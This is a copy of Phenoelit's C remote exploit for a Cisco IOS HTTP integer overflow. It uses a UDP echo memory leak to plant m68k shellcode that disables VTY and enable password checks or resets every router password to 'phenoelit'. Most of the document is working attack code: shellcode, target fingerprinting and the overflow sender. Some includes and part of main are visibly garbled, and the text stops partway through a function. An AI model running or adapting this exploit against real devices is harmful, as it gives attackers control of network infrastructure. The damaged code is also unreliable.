Cisco IOS 12.x/11.x HTTP integer overflow remote Exploit

    
 
     * Version TGZ Disponible ici *
                              
                              /*
                              *               ..--==[[ Phenoelit ]]==--..
                              *              /                                     \
                              *             |       CISCO CASUM EST      |
                              *              \..                                 ../
                              *                 ~~---==(MMIII)==---~~
                              * 
                              *
                              * Cisco IOS 12.x/11.x remote exploit for HTTP integer overflow in URL using 
                              * IOS 11.x UDP Echo memory leak for shellcode placing and address calculation.
                              *
                              * This code does support exploitation of any 11.x Cisco 1600 and 2500 series 
                              * running "ip http server" and "service udp-small-servers". In other words, 
                              * port 80 TCP and port 7 UDP have to be open. The exploitation will take a 
                              * very long time since the overflow is triggered by sending 2 Gigabytes of 
                              * data to the device. Depending on your connection to the target, this may 
                              * take up to several DAYS.
                              *
                              * Shellcodes:
                              * o In case a 1600 running 11.3(11b) IP only is detected, a runtime IOS 
                              * patching shellcode is used. After that, the device will no longer 
                              * validate VTY and enable access passwords. Mission accomplished.
                              * o In case of any other 11.x IOS or in case it runs from flash where 
                              * code patching is more complicated, the shellcode will replace all 
                              * passwords in the config with "phenoelit" and reboot the box. Change
                              * the passwords in the shellcodes if you like.
                              *
                              * ---
                              * FX of Phenoelit 
                              * 
                              */

                              #include 
                              #include 
                              #include 

                              #include 
                              #include 
                              #include 
                              #include 
                              #include 

                              #include "protocols.h"
                              #include "packets.h"

                              char m68nop[] = "\x4E\x71";
                              char returncode[] = 
                              "\x24\x7c\x02\x0b\xfe\x30" //moveal #34340400,%a2 (0x00000000)
                              "\x34\xbc\x4e\x75" //movew #20085,%a2@ (0x00000006)
                              "\x24\x7c\x02\x04\xae\xfa" //moveal #33861370,%a2 (0x0000000A)
                              "\x24\xfc\x30\x3c\x00\x01" //movel #809238529,%a2@+ (0x00000010)
                              "\x24\xfc\x4c\xee\x04\x0c" //movel #1290667020,%a2@+ (0x00000016)
                              "\x24\xfc\xff\xf4\x4e\x5e" //movel #-766370,%a2@+ (0x0000001C)
                              "\x24\xfc\x4e\x75\x00\x00" //movel #1316290560,%a2@+ (0x00000022)
                              "\x24\x7c\x02\x07\x21\x6a" //moveal #34021738,%a2 (0x00000028)
                              "\x34\xbc\x4e\x71" //movew #20081,%a2@ (0x0000002E)
                              "\x24\x4f" //moveal %sp,%a2 (0x00000032)
                              "\x0c\x1f\x00\x02" //cmpib #2,%sp@+ (0x00000034)
                              "\x0c\x97\x02\x19\xfc\xc0" //cmpil #35257536,%sp@ (0x00000038)
                              "\x66\x00\xff\xf4" //bnew 34  (0x0000003E)
                              "\x24\x8f" //movel %sp,%a2@ (0x00000042)
                              "\x59\x92" //subql #4,%a2@ (0x00000044)
                              "\x2c\x52" //moveal %a2@,%fp (0x00000046)
                              "\x42\x80" //clrl %d0 (0x00000048)
                              "\x4c\xee\x04\x00\xff\xfc" //moveml %fp@(-4),%a2 (0x0000004A)
                              "\x4e\x5e" //unlk %fp (0x00000050)
                              "\x4e\x75" //rts (0x00000052)
                              ;

                              char modcfg[] =
                              "\x20\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a0 (0x00000000)
                              "\xe2\xd0" //lsrw %a0@ (0x00000006)
                              "\x46\xfc\x27\x00" //movew #9984,%sr (0x00000008)
                              "\x20\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a0 (0x0000000C)
                              "\x30\xbc\x00\x01" //movew #1,%a0@ (0x00000012)
                              "\x20\x7c\x0e\x00\x00\x00" //moveal #234881024,%a0 (0x00000016)
                              "\x54\x88" //addql #2,%a0 (0x0000001C)
                              "\x0c\x50\xab\xcd" //cmpiw #-21555,%a0@ (0x0000001E)
                              "\x66\xf8" //bnes 1c  (0x00000022)
                              "\x22\x48" //moveal %a0,%a1 (0x00000024)
                              "\x58\x89" //addql #4,%a1 (0x00000026)
                              "\x24\x49" //moveal %a1,%a2 (0x00000028)
                              "\x50\x8a" //addql #8,%a2 (0x0000002A)
                              "\x50\x8a" //addql #8,%a2 (0x0000002C)
                              "\x0c\x12\x00\x00" //cmpib #0,%a2@ (0x0000002E)
                              "\x67\x28" //beqs 5c  (0x00000032)
                              "\x4b\xfa\x00\xc6" //lea %pc@(fc ),%a5 (0x00000034)
                              "\x61\x5a" //bsrs 94  (0x00000038)
                              "\x4a\x80" //tstl %d0 (0x0000003A)
                              "\x67\x08" //beqs 46  (0x0000003C)
                              "\x28\x40" //moveal %d0,%a4 (0x0000003E)
                              "\x4b\xfa\x00\xcf" //lea %pc@(111 ),%a5 (0x00000040)
                              "\x61\x62" //bsrs a8  (0x00000044)
                              "\x4b\xfa\x00\xc0" //lea %pc@(108 ),%a5 (0x00000046)
                              "\x61\x48" //bsrs 94  (0x0000004A)
                              "\x4a\x80" //tstl %d0 (0x0000004C)
                              "\x67\x08" //beqs 58  (0x0000004E)
                              "\x28\x40" //moveal %d0,%a4 (0x00000050)
                              "\x4b\xfa\x00\xc8" //lea %pc@(11c ),%a5 (0x00000052)
                              "\x61\x50" //bsrs a8  (0x00000056)
                              "\x52\x8a" //addql #1,%a2 (0x00000058)
                              "\x60\xd2" //bras 2e  (0x0000005A)
                              "\x32\xbc\x00\x00" //movew #0,%a1@ (0x0000005C)
                              "\x7e\x01" //moveq #1,%d7 (0x00000060)
                              "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x00000062)
                              "\x9d\x47" //subxw %d7,%d6 (0x00000068)
                              "\x6b\xfc" //bmis 68  (0x0000006A)
                              "\x2a\x48" //moveal %a0,%a5 (0x0000006C)
                              "\x61\x50" //bsrs c0  (0x0000006E)
                              "\x32\x86" //movew %d6,%a1@ (0x00000070)
                              "\x7e\x01" //moveq #1,%d7 (0x00000072)
                              "\x28\x3c\x00\x00\xff\xff" //movel #65535,%d4 (0x00000074)
                              "\x99\x47" //subxw %d7,%d4 (0x0000007A)
                              "\x6b\xfc" //bmis 7a  (0x0000007C)
                              "\x46\xfc\x27\x00" //movew #9984,%sr (0x0000007E)
                              "\x20\x7c\x0f\xf0\x00\x00" //moveal #267386880,%a0 (0x00000082)
                              "\x2e\x50" //moveal %a0@,%sp (0x00000088)
                              "\x20\x7c\x0f\xf0\x00\x04" //moveal #267386884,%a0 (0x0000008A)
                              "\x20\x50" //moveal %a0@,%a0 (0x00000090)
                              "\x4e\xd0" //jmp %a0@ (0x00000092)
                              "\x28\x4a" //moveal %a2,%a4 (0x00000094)
                              "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x00000096)
                              "\x67\x08" //beqs a4  (0x0000009A)
                              "\xb9\x0d" //cmpmb %a5@+,%a4@+ (0x0000009C)
                              "\x67\xf6" //beqs 96  (0x0000009E)
                              "\x42\x80" //clrl %d0 (0x000000A0)
                              "\x4e\x75" //rts (0x000000A2)
                              "\x20\x0c" //movel %a4,%d0 (0x000000A4)
                              "\x4e\x75" //rts (0x000000A6)
                              "\x7e\x01" //moveq #1,%d7 (0x000000A8)
                              "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x000000AA)
                              "\x67\x0e" //beqs be  (0x000000AE)
                              "\x18\xdd" //moveb %a5@+,%a4@+ (0x000000B0)
                              "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x000000B2)
                              "\x9d\x47" //subxw %d7,%d6 (0x000000B8)
                              "\x6b\xfc" //bmis b8  (0x000000BA)
                              "\x60\xec" //bras aa  (0x000000BC)
                              "\x4e\x75" //rts (0x000000BE)
                              "\x42\x87" //clrl %d7 (0x000000C0)
                              "\x42\x80" //clrl %d0 (0x000000C2)
                              "\x0c\x55\x00\x00" //cmpiw #0,%a5@ (0x000000C4)
                              "\x66\x0a" //bnes d4  (0x000000C8)
                              "\x52\x80" //addql #1,%d0 (0x000000CA)
                              "\x0c\x80\x00\x00\x00\x0a" //cmpil #10,%d0 (0x000000CC)
                              "\x67\x08" //beqs dc  (0x000000D2)
                              "\x42\x86" //clrl %d6 (0x000000D4)
                              "\x3c\x1d" //movew %a5@+,%d6 (0x000000D6)
                              "\xde\x86" //addl %d6,%d7 (0x000000D8)
                              "\x60\xe8" //bras c4  (0x000000DA)
                              "\x2c\x07" //movel %d7,%d6 (0x000000DC)
                              "\x2a\x07" //movel %d7,%d5 (0x000000DE)
                              "\x02\x86\x00\x00\xff\xff" //andil #65535,%d6 (0x000000E0)
                              "\xe0\x8d" //lsrl #8,%d5 (0x000000E6)
                              "\xe0\x8d" //lsrl #8,%d5 (0x000000E8)
                              "\xdc\x45" //addw %d5,%d6 (0x000000EA)
                              "\x28\x06" //movel %d6,%d4 (0x000000EC)
                              "\x02\x84\xff\xff\x00\x00" //andil #-65536,%d4 (0x000000EE)
                              "\x66\x00\xff\xea" //bnew e0  (0x000000F4)
                              "\x46\x46" //notw %d6 (0x000000F8)
                              "\x4e\x75" //rts (0x000000FA)

                              "\x0a"" password ""\x00"
                              "\x0a""enable ""\x00"
                              "phenoelit\x0a""\x00"
                              "password phenoelit\x0a""\x00"
                              ;


                              char modcfg2k5[] = 
                              "\x46\xfc\x27\x00" //movew #9984,%sr (0x00000000)
                              "\x20\x7c\x02\x00\x00\x00" //moveal #33554432,%a0 (0x00000004)
                              "\x54\x88" //addql #2,%a0 (0x0000000A)
                              "\x0c\x50\xab\xcd" //cmpiw #-21555,%a0@ (0x0000000C)
                              "\x66\xf8" //bnes a  (0x00000010)
                              "\x22\x48" //moveal %a0,%a1 (0x00000012)
                              "\x58\x89" //addql #4,%a1 (0x00000014)
                              "\x24\x49" //moveal %a1,%a2 (0x00000016)
                              "\x50\x8a" //addql #8,%a2 (0x00000018)
                              "\x50\x8a" //addql #8,%a2 (0x0000001A)
                              "\x0c\x12\x00\x00" //cmpib #0,%a2@ (0x0000001C)
                              "\x67\x28" //beqs 4a  (0x00000020)
                              "\x4b\xfa\x00\xd6" //lea %pc@(fa ),%a5 (0x00000022)
                              "\x61\x6a" //bsrs 92  (0x00000026)
                              "\x4a\x80" //tstl %d0 (0x00000028)
                              "\x67\x08" //beqs 34  (0x0000002A)
                              "\x28\x40" //moveal %d0,%a4 (0x0000002C)
                              "\x4b\xfa\x00\xdf" //lea %pc@(10f ),%a5 (0x0000002E)
                              "\x61\x72" //bsrs a6  (0x00000032)
                              "\x4b\xfa\x00\xd0" //lea %pc@(106 ),%a5 (0x00000034)
                              "\x61\x58" //bsrs 92  (0x00000038)
                              "\x4a\x80" //tstl %d0 (0x0000003A)
                              "\x67\x08" //beqs 46  (0x0000003C)
                              "\x28\x40" //moveal %d0,%a4 (0x0000003E)
                              "\x4b\xfa\x00\xd8" //lea %pc@(11a ),%a5 (0x00000040)
                              "\x61\x60" //bsrs a6  (0x00000044)
                              "\x52\x8a" //addql #1,%a2 (0x00000046)
                              "\x60\xd2" //bras 1c  (0x00000048)
                              "\x42\x80" //clrl %d0 (0x0000004A)
                              "\x2a\x49" //moveal %a1,%a5 (0x0000004C)
                              "\x52\x00" //addqb #1,%d0 (0x0000004E)
                              "\x1a\xfc\x00\x00" //moveb #0,%a5@+ (0x00000050)
                              "\x7e\x01" //moveq #1,%d7 (0x00000054)
                              "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x00000056)
                              "\x9d\x47" //subxw %d7,%d6 (0x0000005C)
                              "\x6b\xfc" //bmis 5c  (0x0000005E)
                              "\x0c\x00\x00\x02" //cmpib #2,%d0 (0x00000060)
                              "\x66\xe8" //bnes 4e  (0x00000064)
                              "\x2a\x48" //moveal %a0,%a5 (0x00000066)
                              "\x61\x54" //bsrs be  (0x00000068)
                              "\x2a\x49" //moveal %a1,%a5 (0x0000006A)
                              "\x52\x8d" //addql #1,%a5 (0x0000006C)
                              "\x42\x80" //clrl %d0 (0x0000006E)
                              "\x52\x00" //addqb #1,%d0 (0x00000070)
                              "\x1a\x86" //moveb %d6,%a5@ (0x00000072)
                              "\x7e\x01" //moveq #1,%d7 (0x00000074)
                              "\x28\x3c\x00\x00\xff\xff" //movel #65535,%d4 (0x00000076)
                              "\x99\x47" //subxw %d7,%d4 (0x0000007C)
                              "\x6b\xfc" //bmis 7c  (0x0000007E)
                              "\xe0\x4e" //lsrw #8,%d6 (0x00000080)
                              "\x2a\x49" //moveal %a1,%a5 (0x00000082)
                              "\x0c\x00\x00\x02" //cmpib #2,%d0 (0x00000084)
                              "\x66\xe6" //bnes 70  (0x00000088)
                              "\x20\x7c\x03\x00\x00\x60" //moveal #50331744,%a0 (0x0000008A)
                              "\x4e\xd0" //jmp %a0@ (0x00000090)
                              "\x28\x4a" //moveal %a2,%a4 (0x00000092)
                              "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x00000094)
                              "\x67\x08" //beqs a2  (0x00000098)
                              "\xb9\x0d" //cmpmb %a5@+,%a4@+ (0x0000009A)
                              "\x67\xf6" //beqs 94  (0x0000009C)
                              "\x42\x80" //clrl %d0 (0x0000009E)
                              "\x4e\x75" //rts (0x000000A0)
                              "\x20\x0c" //movel %a4,%d0 (0x000000A2)
                              "\x4e\x75" //rts (0x000000A4)
                              "\x7e\x01" //moveq #1,%d7 (0x000000A6)
                              "\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x000000A8)
                              "\x67\x0e" //beqs bc  (0x000000AC)
                              "\x18\xdd" //moveb %a5@+,%a4@+ (0x000000AE)
                              "\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x000000B0)
                              "\x9d\x47" //subxw %d7,%d6 (0x000000B6)
                              "\x6b\xfc" //bmis b6  (0x000000B8)
                              "\x60\xec" //bras a8  (0x000000BA)
                              "\x4e\x75" //rts (0x000000BC)
                              "\x42\x87" //clrl %d7 (0x000000BE)
                              "\x42\x80" //clrl %d0 (0x000000C0)
                              "\x0c\x55\x00\x00" //cmpiw #0,%a5@ (0x000000C2)
                              "\x66\x0a" //bnes d2  (0x000000C6)
                              "\x52\x80" //addql #1,%d0 (0x000000C8)
                              "\x0c\x80\x00\x00\x00\x14" //cmpil #20,%d0 (0x000000CA)
                              "\x67\x08" //beqs da  (0x000000D0)
                              "\x42\x86" //clrl %d6 (0x000000D2)
                              "\x3c\x1d" //movew %a5@+,%d6 (0x000000D4)
                              "\xde\x86" //addl %d6,%d7 (0x000000D6)
                              "\x60\xe8" //bras c2  (0x000000D8)
                              "\x2c\x07" //movel %d7,%d6 (0x000000DA)
                              "\x2a\x07" //movel %d7,%d5 (0x000000DC)
                              "\x02\x86\x00\x00\xff\xff" //andil #65535,%d6 (0x000000DE)
                              "\xe0\x8d" //lsrl #8,%d5 (0x000000E4)
                              "\xe0\x8d" //lsrl #8,%d5 (0x000000E6)
                              "\xdc\x45" //addw %d5,%d6 (0x000000E8)
                              "\x28\x06" //movel %d6,%d4 (0x000000EA)
                              "\x02\x84\xff\xff\x00\x00" //andil #-65536,%d4 (0x000000EC)
                              "\x66\x00\xff\xea" //bnew de  (0x000000F2)
                              "\x46\x46" //notw %d6 (0x000000F6)
                              "\x4e\x75" //rts (0x000000F8)

                              "\x0a"" password ""\x00"
                              "\x0a""enable ""\x00"
                              "phenoelit\x0a""\x00"
                              "password phenoelit\x0a""\x00"
                              ;

                              //
                              // address selection strategies 
                              //
                              #define S_RANDOM 1
                              #define S_LAST 2
                              #define S_SMALLEST 3
                              #define S_HIGHEST 4
                              #define S_FREQUENT 5
                              typedef struct {
                              unsigned int a;
                              unsigned int count;
                              } addrs_t;
                              #define LOW_ADDR_THR 5
                              #define LOW_COUNT_THR 3


                              //
                              // IO memory block header based fingerprinting
                              //
                              static struct {
                              unsigned int PC_start;
                              unsigned int PC_end;
                              unsigned int IO_start;
                              unsigned int IO_end;
                              char *name;
                              unsigned char *code;
                              unsigned int codelen;
                              unsigned char *nop;
                              unsigned int noplen;
                              unsigned int fakefp;
                              } cisco_boxes[] = {
                              {0x08000000, 0x08ffffff, 0x02C00000, 0x02FFFFFF,
                              "Cisco 1600 series, run from Flash", 
                              modcfg, sizeof(modcfg)-1, 
                              m68nop, sizeof(m68nop)-1 ,
                              0x02f0f1f2
                              },

                              {0x0208F600, 0x0208F93C, 0x02C00000, 0x02FFFFFF,
                              "Cisco 1603, 11.3(11b) IP only, run from RAM", 
                              returncode, sizeof(returncode)-1,
                              m68nop, sizeof(m68nop)-1 ,
                              0x02f0f1f2
                              },

                              {0x03000000, 0x037FFFFF, 0x00E00000, 0x00FFFFFF,
                              "Cisco 2500 series, run from Flash",
                              modcfg2k5, sizeof(modcfg2k5)-1,
                              m68nop, sizeof(m68nop)-1,
                              0x00079000
                              },

                              {0,0,0,0,NULL,NULL,0,NULL,0,0}
                              };


                              // ***************** Status and other tracking *******************

                              //
                              // HTTP communication 
                              //
                              struct {
                              int sfd;
                              unsigned int done;
                              } http;

                              // 
                              // UDP leak 
                              //
                              #define MAXADDRS 100
                              #define DEFAULTRUNS 206
                              #define LOCALPORT 31336 // almost 31337 ;)
                              #define PACKETMAX 1400
                              struct {
                              int sfd;
                              int udpsfd;
                              int guess;
                              addrs_t addrs[MAXADDRS];
                              unsigned int addrc;
                              unsigned int lastaddr;
                              int nop_offset;
                              int nop_sled;
                              } leak;

                              //
                              // config
                              //
                              struct {
                              char *device;
                              char *target;
                              struct in_addr target_addr;
                              int verbose;
                              int testmode;
                              int strategy;
                              unsigned int leakme;
                              unsigned int timeout;
                              unsigned int leakruns;
                              } cfg;


                              //
                              // function prototypes
                              //
                              void usage(char *s);
                              void *smalloc(size_t s);
                              int HTTPpre(void);
                              void HTTPsend(char *what);
                              int IOSlack(unsigned int runs, int shellcode);
                              unsigned char *UDPecho( unsigned int *plen, 
                              unsigned char *payload, unsigned int payload_len);
                              void UDPanalyze(unsigned char *b, unsigned int len,
                              unsigned char *expected, unsigned int expected_length);
                              unsigned int SelectAddress(void);
                              int CheckForbidden(unsigned int address);


                              // *************************** main code *************************


                              int main(int argc, char **argv) {
                              // 
                              // HTTP elements
                              //
                              char token6[] ="/Cisco";
                              char token50[]="/AnotherLemmingAndAntoherLemmingAndAnotherLemmingX";
                              char token48[]="/HereComesTheFinalLemmingAndClosesTheGapForever/";
                              char httpend[]=" HTTP/1.0\r\n\r\n";
                              char overflow[30];
                              // 
                              // stuff we need
                              //
                              unsigned int i;
                              int saved_guess;
                              unsigned int retaddr;
                              // 
                              // command line
                              //
                              char option;
                              extern char *optarg;
                              //
                              // output stuff
                              //
                              double percent;
                              double lpercent=(double)0;


                              memset(&cfg,0,sizeof(cfg));
                              memset(&leak,0,sizeof(leak));
                              memset(&http,0,sizeof(http));
                              // 
                              // set defaults
                              //
                              cfg.leakme=0x4C00;
                              cfg.timeout=3;
                              cfg.leakruns=DEFAULTRUNS;
                              cfg.strategy=S_SMALLEST;

                              while ((option=getopt(argc,argv,"vTA:t:L:R:d:i:"))!=EOF) {
                              switch(option) {
                              case 'v': cfg.verbose++;
                              break;
                              case 'T': cfg.testmode++;
                              break;
                              case 'A': cfg.strategy=(int)strtoul(optarg,(char **)NULL,10);
                              break;
                              case 't': cfg.timeout=(int)strtoul(optarg,(char **)NULL,10);
                              break;
                              case 'L': cfg.leakme=(int)strtoul(optarg,(char **)NULL,10);
                              break;
                              case 'R': cfg.leakruns=(int)strtoul(optarg,(char **)NULL,10);
                              break;
                              case 'd': {
                              struct hostent *he;
                              if ((he=gethostbyname(optarg))==NULL) { 
                              fprintf(stderr,"Could not resolve %s\n",cfg.target);
                              return (-1);
                              }
                              bcopy(he->h_addr,
                              (char *)&(cfg.target_addr.s_addr),
                              he->h_length);
                              cfg.target=smalloc(strlen(optarg)+1);
                              strcpy(cfg.target,optarg);
                              }
                              break;
                              case 'i': cfg.device=smalloc(strlen(optarg)+1);
                              strcpy(cfg.device,optarg);
                              break;
                              default: usage(argv[0]);
                              // does not return
                              }
                              }

                              // 
                              // idiot check
                              //
                              if ( !(cfg.device && *((u_int32_t *)&(cfg.target_addr)) )) 
                              usage(argv[0]);

                              //
                              // verify the UDP leak and make sure it's a known box
                              //
                              if (IOSlack(1,-1)!=0) {
                              fprintf(stderr,"You need an IOS 11.x target with UDP echo service enabled\n"
                              "for this thing to work. Obviously, you don't have that.\n");
                              return (1);
                              }
                              if (leak.guess==(-1)) {
                              fprintf(stderr,"Apparently, you got a good target, but it's not one of the\n"
                              "platforms we got code for. Life sucks.\n");
                              return (1);
                              } else {
                              printf("Target identified as '%s'.\n",cisco_boxes[leak.guess].name);
                              if (cfg.verbose) {
                              printf("Using the following code:\n");
                              hexdump(cisco_boxes[leak.guess].code,
                              cisco_boxes[leak.guess].codelen);
                              }
                              saved_guess=leak.guess;
                              }
                              if (leak.lastaddr == 0) {
                              printf("The memory leak data did not contain enough information to\n"
                              "calculate the addresses correctly. The router may be busy,\n"
                              "in which case this method is likely to fail!\n");
                              return (2);
                              } else {
                              printf("Calculated address in test: 0x%08X\n",leak.lastaddr);
                              }

                              //
                              // Connect to HTTP server and send the first "GET "
                              //
                              if (HTTPpre()!=0) return 1;

                              //
                              // fill normal buffer
                              //
                              printf("Sending token50 x 0x5 + token6 ...\n");
                              HTTPsend(token50);
                              HTTPsend(token50);
                              HTTPsend(token50);
                              HTTPsend(token50);
                              HTTPsend(token50);
                              HTTPsend(token6);

                              //
                              // send enough data to overflow the counter
                              //
                              i=1;
                              printf("Sending token50 x 0x28F5C28 (2 Gigabytes of data)...\n");
                              while (i<=0x28F5C28) {

                              if (!cfg.testmode) HTTPsend(token50);
                              http.done+=50;
                              i++;

                              //
                              // output
                              //
                              percent = (double)http.done / (double)0x80000000;
                              if ( percent > lpercent+0.0001 ) {
                              printf("%5.2f%% done\n",percent * 100);
                              lpercent=percent;
                              }
                              }
                              printf("Sending final token48 ...\n");
                              HTTPsend(token48);

                              //
                              // Use infoleak to transfer code and calculate address
                              //
                              memset(&leak,0,sizeof(leak));
                              if (IOSlack(cfg.leakruns,saved_guess)!=0) {
                              fprintf(stderr,"Your target does no longer leak memory. This could have\n"
                              "several reasons, but it sure prevents you from exploiting it.\n");
                              return (-1);
                              } else {
                              printf("Aquired %u addresses with our code\n",leak.addrc);
                              if (leak.addrc>24)&0xFF),
                              (unsigned char)( (cisco_boxes[saved_guess].fakefp>>16)&0xFF),
                              (unsigned char)( (cisco_boxes[saved_guess].fakefp>> 8)&0xFF),
                              (unsigned char)( (cisco_boxes[saved_guess].fakefp )&0xFF),
                              (unsigned char)( (retaddr>>24)&0xFF),
                              (unsigned char)( (retaddr>>16)&0xFF),
                              (unsigned char)( (retaddr>> 8)&0xFF),
                              (unsigned char)( (retaddr )&0xFF));

                              if (cfg.verbose) hexdump(overflow,sizeof(overflow)-1);

                              // 
                              // perform overflow and overwrite return address
                              //
                              printf("Sending overflow of %u bytes\n",strlen(overflow));
                              HTTPsend(overflow);
                              printf("Sending final HTTP/1.0\n");
                              HTTPsend(httpend);
                              close(http.sfd);

                              // 
                              // all done
                              //
                              return 0;
                              }


                              void usage(char *s) {
                              fprintf(stderr,"Usage: %s -i  -d  [-options]\n",s);
                              fprintf(stderr,"Options are:\n"
                              "-v Verbose mode.\n"
                              "-T Test mode, don't really exploit\n"
                              "-An Address selection strategy. Values are:\n"
                              " 1 (random), 2 (last), 3 (smallest), 4 (highest), 5 (most frequent)\n"
                              "-tn Set timeout for info leak to n seconds\n"
                              "-Ln Set requested memory leak to n bytes\n"
                              "-Rn Set number of final leak runs to n\n"
                              );
                              exit (1);
                              }


                              // 
                              // *********************** HTTP related **************************
                              //


                              int HTTPpre(void) {
                              char get[] = "GET ";
                              struct sockaddr_in sin;
                              struct hostent *he;

                              memset(&sin,0,sizeof(struct sockaddr_in));
                              if ((he=gethostbyname(cfg.target))==NULL) { 
                              fprintf(stderr,"Could not resolve %s\n",cfg.target);
                              return (-1);
                              }

                              sin.sin_family=AF_INET;
                              sin.sin_port=htons(80);
                              bcopy(he->h_addr,(char *)&sin.sin_addr,he->h_length);
                              bzero(&(sin.sin_zero),8);

                              if ((http.sfd=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
                              fprintf(stderr,"socket(TCP) error\n");
                              return(-1);
                              }

                              printf("Connecting to HTTP server on %s ...\n",cfg.target);

                              if (connect(http.sfd,(struct sockaddr *)&sin,sizeof(sin))<0) {
                              fprintf(stderr,"Failed to connect to HTTP\n");
                              return (-1);
                              }

                              printf("Connected!\n");

                              //
                              // send "GET "
                              //
                              HTTPsend(get);
                              return 0;
                              }


                              void HTTPsend(char *what) {
                              if (send(http.sfd,what,strlen(what),0)<0) {
                              fprintf(stderr,"send() failed!\n");
                              exit(-1);
                              }
                              }


                              // 
                              // *********************** UDP related **************************
                              //

                              int IOSlack(unsigned int runs, int shellcode) {
                              // 
                              // the leak packet
                              //
                              #define DUMMY_SIZE 512
                              unsigned char *packet;
                              unsigned int length;
                              char dummy[DUMMY_SIZE];
                              unsigned char *sc,*st;
                              unsigned int sclen;
                              // 
                              // recv stuff
                              //
                              char *rbuf;
                              unsigned int rx;
                              // 
                              // doing the stuff
                              //
                              unsigned int r;
                              struct sockaddr_in frm;
                              int frmlen=sizeof(struct sockaddr_in);
                              fd_set rfds;
                              struct timeval tv;
                              int select_ret;
                              int recvflag;
                              struct sockaddr_in myself;


                              //
                              // init
                              //
                              leak.guess=(-1);
                              r=runs;
                              recvflag=0;
                              st=NULL;

                              // 
                              // get the sockets
                              //
                              if ( (leak.sfd=init_socket_IP4(cfg.device,1)) == (-1) ) {
                              fprintf(stderr,"Couldn't grab a raw socket\n");
                              return (-1);
                              }

                              myself.sin_family=AF_INET;
                              myself.sin_port=htons(LOCALPORT);
                              myself.sin_addr.s_addr=INADDR_ANY;
                              if ( (leak.udpsfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP)) <0) {
                              fprintf(stderr,"Couldn't grab a UDP socket\n");
                              return (-1);
                              }
                              if ( bind(leak.udpsfd,(struct sockaddr *)&myself,sizeof(struct sockaddr)) != 0) {
                              fprintf(stderr,"bind() failed\n");
                              return (-1);
                              }

                              // 
                              // determine packet contents and make a packet
                              //
                              if (shellcode==(-1)) {
                              memset(&dummy,0x50,DUMMY_SIZE-1);
                              dummy[DUMMY_SIZE-1]=0x00;
                              sc=dummy;
                              sclen=DUMMY_SIZE-1;
                              } else {
                              unsigned char *t;
                              unsigned int i;

                              t=sc=st=smalloc(PACKETMAX);
                              //
                              // calculate the remaining space for nops
                              //
                              leak.nop_sled=PACKETMAX-cisco_boxes[shellcode].codelen;
                              // 
                              // align
                              //
                              while ( (leak.nop_sled % cisco_boxes[shellcode].noplen) != 0) 
                              leak.nop_sled--;
                              for (i=0;i< (leak.nop_sled/cisco_boxes[shellcode].noplen) ;i++) {
                              memcpy(t,cisco_boxes[shellcode].nop,cisco_boxes[shellcode].noplen);
                              t+=cisco_boxes[shellcode].noplen;
                              }
                              // 
                              // add the real code
                              //
                              memcpy(t,cisco_boxes[shellcode].code,cisco_boxes[shellcode].codelen);
                              t+=cisco_boxes[shellcode].codelen;
                              sclen=leak.nop_sled + cisco_boxes[shellcode].codelen;
                              //
                              // calculate a nop_offset and align
                              //
                              leak.nop_offset=leak.nop_sled * 0.8;
                              while ( (leak.nop_offset % cisco_boxes[shellcode].noplen) != 0) 
                              leak.nop_offset--;

                              if (cfg.verbose) hexdump(st,sclen);

                              }
                              packet=UDPecho(&length,sc,sclen);

                              //
                              // allocate receive buffer
                              //
                              rbuf=smalloc(cfg.leakme+0x200);

                              // 
                              // do it
                              //
                              printf("Getting IO memory leak data (%u times) ...\n",r);
                              while (r--) {
                              sendpack_IP4(leak.sfd,packet,length);

                              tv.tv_sec=cfg.timeout;
                              tv.tv_usec=0;
                              FD_ZERO(&rfds);
                              FD_SET(leak.udpsfd,&rfds);
                              select_ret=select(leak.udpsfd+1,&rfds,NULL,NULL,&tv);

                              if (select_ret>0) {
                              rx=recvfrom(leak.udpsfd,rbuf,cfg.leakme,0,(struct sockaddr *)&frm,&frmlen);
                              if (rx<0) {
                              fprintf(stderr,"UDP recvfrom() failed\n");
                              return (-1);
                              }
                              if (cfg.verbose) printf("Received %u bytes data\n",rx);
                              if (cfg.verbose>1) hexdump(rbuf,rx);
                              recvflag=1;
                              // 
                              // analyze what we got
                              //
                              UDPanalyze(rbuf,rx,sc,sclen);
                              } else {
                              printf("Timeout at %u - may be lost packet?\n",r);
                              }
                              }

                              //
                              // clean up
                              //
                              free(packet);
                              free(rbuf);
                              if (st!=NULL) free(st);
                              close(leak.sfd);
                              close(leak.udpsfd);
                              if (cfg.verbose==0) printf("\n"); // be nice

                              if (recvflag) { return 0; } else { return 1; }
                              }


                              unsigned char *UDPecho(
                              unsigned int *plen, // returned length of packet
                              unsigned char *payload, // pointer to payload
                              unsigned int payload_len // length of payload
                              ) {
                              unsigned char *pack;
                              iphdr_t *ip;
                              udphdr_t *udp;
                              u_char *pay;
                              u_char *t;
                              u_int16_t cs;

                              *plen=sizeof(iphdr_t)+sizeof(udphdr_t)+payload_len;
                              pack=smalloc(*plen+10);

                              ip=(iphdr_t *)pack;
                              ip->version=4;
                              ip->ihl=sizeof(iphdr_t)/4;
                              ip->ttl=0x80;
                              ip->protocol=IPPROTO_UDP;
                              memcpy(&(ip->saddr.s_addr),&(packet_ifconfig.ip.s_addr),IP_ADDR_LEN);
                              memcpy(&(ip->daddr.s_addr),&(cfg.target_addr),IP_ADDR_LEN);

                              udp=(udphdr_t *)((void *)ip+sizeof(iphdr_t));
                              udp->sport=htons(LOCALPORT);
                              udp->dport=htons(7);
                              udp->length=htons(cfg.leakme);

                              pay=(u_char *)((void *)udp+sizeof(udphdr_t));
                              t=pay;
                              memcpy(pay,payload,payload_len);
                              t+=payload_len;

                              ip->tot_len=htons(*plen);
                              cs=chksum((u_char *)ip,sizeof(iphdr_t));
                              ip->check=cs;

                              if (cfg.verbose>1) hexdump(pack,*plen);
                              return pack;
                              }


                              void UDPanalyze(unsigned char *b, unsigned int len,
